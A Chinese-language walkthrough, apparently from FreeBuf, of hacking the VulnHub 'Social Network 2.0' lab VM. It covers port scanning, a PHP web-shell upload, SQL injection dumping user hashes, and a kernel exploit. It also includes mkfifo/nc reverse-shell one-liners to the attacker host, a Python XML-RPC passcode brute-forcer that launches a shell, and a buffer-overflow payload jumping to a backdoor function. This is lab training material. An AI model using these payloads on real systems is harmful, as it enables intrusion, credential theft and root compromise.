
靶场搭建
靶场下载地址:https://www.vulnhub.com/entry/boredhackerblog-social-network-20,455/
下载下来是虚拟机.ova压缩文件,直接用Vmvare导出就行
打开后把网络模式设置为NAT模式(桥接模式也可以,和kali攻击机保持一致就可以)
开启虚拟机
我打靶时这台靶机不能自己获取ip,需要更改一下配置,具体操作请看我这篇文章:https://www.freebuf.com/articles/network/343723.html
靶场搭建完成
渗透测试
由于不知道靶机ip,所以需要扫描NAT的网段
128为kali攻击机的ip,所以134为靶机的ip
扫描靶机端口服务开放情况
nmap -sT -p 0-65535 -A 192.168.52.134
发现开放了22端口,存在ssh服务
发现开放了80端口,存在http,且服务器中间件为Apache 2.4.29
开放了8000端口,存在http,且为python建立的BaseHTTPServer 0.3(python2.7.15)
先访问以下80端口的WEB
发现一个登录和注册的页面
先抓包看一下登录框是否存在sql注入,经过测试发现不存在SQL注入
开放了注册功能,我们注册一个账号,只需填写带*号的信息就行
注册后自动登录跳转进来
这看起来像是一个发表评论交流的一个网站
admin说他在这台机器上运行了一个监控的服务,名字叫monitor.py
尝试发了一条评论
还可以上传文件,我们尝试能否上传php马
新建一个php一句话木马文件shell.php
发现上传成功
右键复制图片链接,发现可以正常访问
试着用蚁剑来连接,连接成功
成功获得shell
还发现可以上传头像
和评论上传图片一样可以getshell
再找找其它功能,发现这里存在一个搜索评论的功能
发现输入的参数出现在了url上
测试一下是否存在sql注入,发现果然存在sql注入
使用order by来查看字段数,发现存在11个字段
然后通过联合查询查看回显位,发现第二个字段和第三个字段为回显位
爆出数据库名、用户名、数据库版本 数据库名为socialnetwork 用户名为admin@localhost 数据库版本为5.7.24
爆出表名、列名和数据 表名:friendship、posts、user_phone、users users表列名:user_id,user_firstname,user_lastname,user_nickname,user_password,user_email,user_gender,user_birthdate,user_status,user_about,user_hometown 数据:账号admin@localhost.com,testuser@localhost.com,xiaopang@123.com 密码:21232f297a57a5a743894a0e4a801fc3,5d9c68c6c50ed3d02a2fcf54f63993b6,e10adc3949ba59abbe56e057f20f883e 密码破解后对应为: admin@localhost.com/admin testuser@localhost.com/testuser
获得了admin账号密码,我们用admin账号登录,登录后发现和普通用户的功能一样,web上没有其它的利用点了
利用获得的shell
在/home下发现一个socnet的账号家目录,在家目录下发现了monito.py文件,想起来刚才在网站评论区里,admin用户说他运行了一个监控服务monitor.py,这应该就是那个文件
所以我们有理由怀疑这个socnet账号就是之前的admin用户,所以他们的密码可能相同,尝试用ssh登录
发现密码并不相同
所以我们只能进行提权
sudo提权
sudo -l 查看是否有可提权的命令
不能通过这种方式提权
SUID提权
SUID可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个root用户所有的SUID文件,那么运行该文件我们就可以获取到root权限
通过命令
find / -perm -4000 2>/dev/null查看是否具有root权限的命令
常见可用于提权root权限文件
nmap
vim
find
bash
more
less
nano
cp
awk
也不能利用
数据库提权
我们在网站目录下发现了数据库连接的账号和密码
尝试连接数据库
发现不能用密码登入数据库,这种方法也不可行但是我们的得到了数据库的密码,猜测可能ssh密码和数据库密码相同
尝试登录,发现也不是这个密码
内核提权
看一下内核版本
搜索看是否有可利用的提权漏洞
发现似乎存在CVE-2021-3493漏洞可以用于提权
在github下载exp
通过蚁剑上传exp,编译文件,赋予执行权限,执行
好像执行成功了,但是蚁剑的这个shell好像不支持,断开了
我们使用nc新创建一个shell,看了这台机器上的nc也不支持-e参数,所以我们可以使用nc串联新建shell
这里不使用nc串联,使用一种新的方法
在kali上监听4444端口
在蚁剑输入以下命令
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.52.128 4444 >/tmp/f
成功获得shell
执行exp,成功获得root权限shell
虽然我们提权成功了,拿到了root权限,但是由于这台靶机的发行日期为2020年,而我们使用的是2021年才发现的一个漏洞,所以靶场作者的本意并不是让我们使用这个漏洞提权,肯定有其他的方法来进行提权
退出获得的root权限shell
我们回到socnet的家目录下
看一下monitor.py这个文件,发现此文件大概的含义创建了一个XMLRPC服务,服务通过创建一个命令窗口来执行几个定义好的系统命令,来输出各种系统资源调用信息
我们发现不光有几个定义好的系统命令函数,还有一个secure_cmd函数用来执行任意传入的命令,但是要检验passcode是否正确,passcode是程序服务端运行时生成的一个1000-9999之间的随机数
并且这个服务运行在8000端口,就是我们开始进行端口服务探测时开放的8000端口
之前的评论里说正在运行了这个文件,我们发现确实正在运行,且运行用户权限为socnet用户
我们可以利用python XMLRPC官方文档中的简单代码来进行改编进行暴力破解服务端运行时生成的passcode
在kali中编写客户端利用代码爆破出passcode
import xmlrpc.client with xmlrpc.client.ServerProxy("http://192.168.52.134:8000/") as proxy: for i in range(1000,9999): a=str(proxy.secure_cmd('id',i)) if(a.find('Wrong passcode')==-1): print('passcode is',i)
运行成功,得到passcode为5150
得到了passcode,我们就可以利用secure_cmd函数执行任意命令
执行命令反弹shell
import xmlrpc.client with xmlrpc.client.ServerProxy("http://192.168.52.134:8000/") as proxy: cmd = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.52.128 5555 >/tmp/f' print(str(proxy.secure_cmd(cmd,5150)))
在kali上监听5555端口,执行python文件
成功获得socnet用户的shell
利用python升级这个shell为完整的shell
python -c 'import pty;pty.spawn("/bin/bash")'
继续提权
sudo提权
sudo -l 查看是否有可提权的命令
不能通过这种方式提权
SUID提权
SUID可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个root用户所有的SUID文件,那么运行该文件我们就可以获取到root权限
通过命令
find / -perm -4000 2>/dev/null查看是否具有root权限的命令
常见可用于提权root权限文件
nmap
vim
find
bash
more
less
nano
cp
awk
这个文件似乎是突破点
进入到此目录下,在此目录下还发现一个叫peda的目录
进入到这个目录下,发现这似乎是一个python的工具
看一下README文档
再结合搜索网上搜索,得知PEDA是为GDB设计的一个强大的插件,全称是Python Exploit Development Assistance for GDB。 它提供了很多人性化的功能,比如高亮显示反汇编代码、寄存器、内存信息,提高了debug的效率。
给出这个debug的工具的用意应该是让我们去调试分析add_record这个程序,看是否存在漏洞
先执行一下add_record这个程序看功能是什么
发现这个程序是想想SOCIAL NETWORK 2.0这个系统添加雇员信息
试着添加数据
添加后发现目录下多出来一个employee_records.txt文件
查看这个文件
可以看到我们刚才添加的数据
我们来通过gdb调试一下程序
gdb -q ./add_record
输入r让程序正常运行起来
这个时候我们输入一串很大很长的数据,测试一下是否存在溢出(我这里输入了1000个A,可以用python生成(python -c "print('A'*1000)"),不需要手敲)
发现正常退出,不存在溢出
测试下一个输入点,发现也是一样,不存在溢出
下一个参数也一样
在测试到comments时,出现了问题
发现存在缓冲区溢出漏洞,所以我们现在需要找出溢出的A的位置,找到EIP中的A是一千个A中的哪几个A,通过构造EIP寄存器来反弹shell,因为EIP寄存器保存的时CPU下一次运行的指令
慢慢缩小A的数量,看到哪个数值开始出现溢出
先缩小到五百个试一下,发现还是溢出
缩小到250个A,发现还是溢出
缩小到150个A,还是溢出
缩小到100个A,还是溢出
已经定位到了一百个字符就可以溢出,接下来我们生成一个一百个字符的特征字符
gdb里面提供了这样的功能(生成的字符每四个都不相同,这样就可以便于定位EIP的位置)
pattern create 100
将这段生成的字符输入到程序中,发现EIP处为字符串中的AHAA
gdb也提供了从字符串中定位特定字符的功能,定位到是偏移量是62,也就是第62个字符以后的四个字符
测试一下是否正确,生成一段62个字符位A,后面四个字符为BCDE的字符(python -c "print('A'*62+'BCDE')"),输入程序,发现确实为第62个字符之后的四个字符并且前面的地址为BCDE四个字符ascall编码的倒序
接下来我们需要去构造payload
先看一下程序主程序的汇编代码disas main
虽然可能不懂汇编代码,但是有些代码后面有大概能看懂意思的注释
比如这里fopen应该是打开一个文件,我们猜测是刚才程序运行后新出现的employee_records.txt文件
可以通过break *指令号来下断点(del 删除断点
再运行,不断地调试运行,就可以理解程序每段汇编代码
在这里看到一个注解为vuln的汇编代码很可疑,可能是靶场作者设计的利用点
查看一下程序调用的函数info func
发现一些可以用于提权的系统函数,还有一个很可疑的后门函数
看一下backdoor函数的汇编代码,发下按它调用了前面发现的两个可用于提权的系统函数
所以我们可以将这个函数的起始地址放入到EIP寄存器中来执行这个函数
构造paload,把我们要输入的名字年龄等也构造进payload(注意后面地址要倒叙输入)
python -c "import struct; print('qq\n1\n1\n1\n' + 'A'*62 + struct.pack('I', 0x08048676))" > payload
再次启动gdb,把payload输入
发现执行了/bin/dash和/bin/bash,所以证实了这个backdoor函数是作者留下来用于提权的一个函数
直接使用payload进行提权,提权成功
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)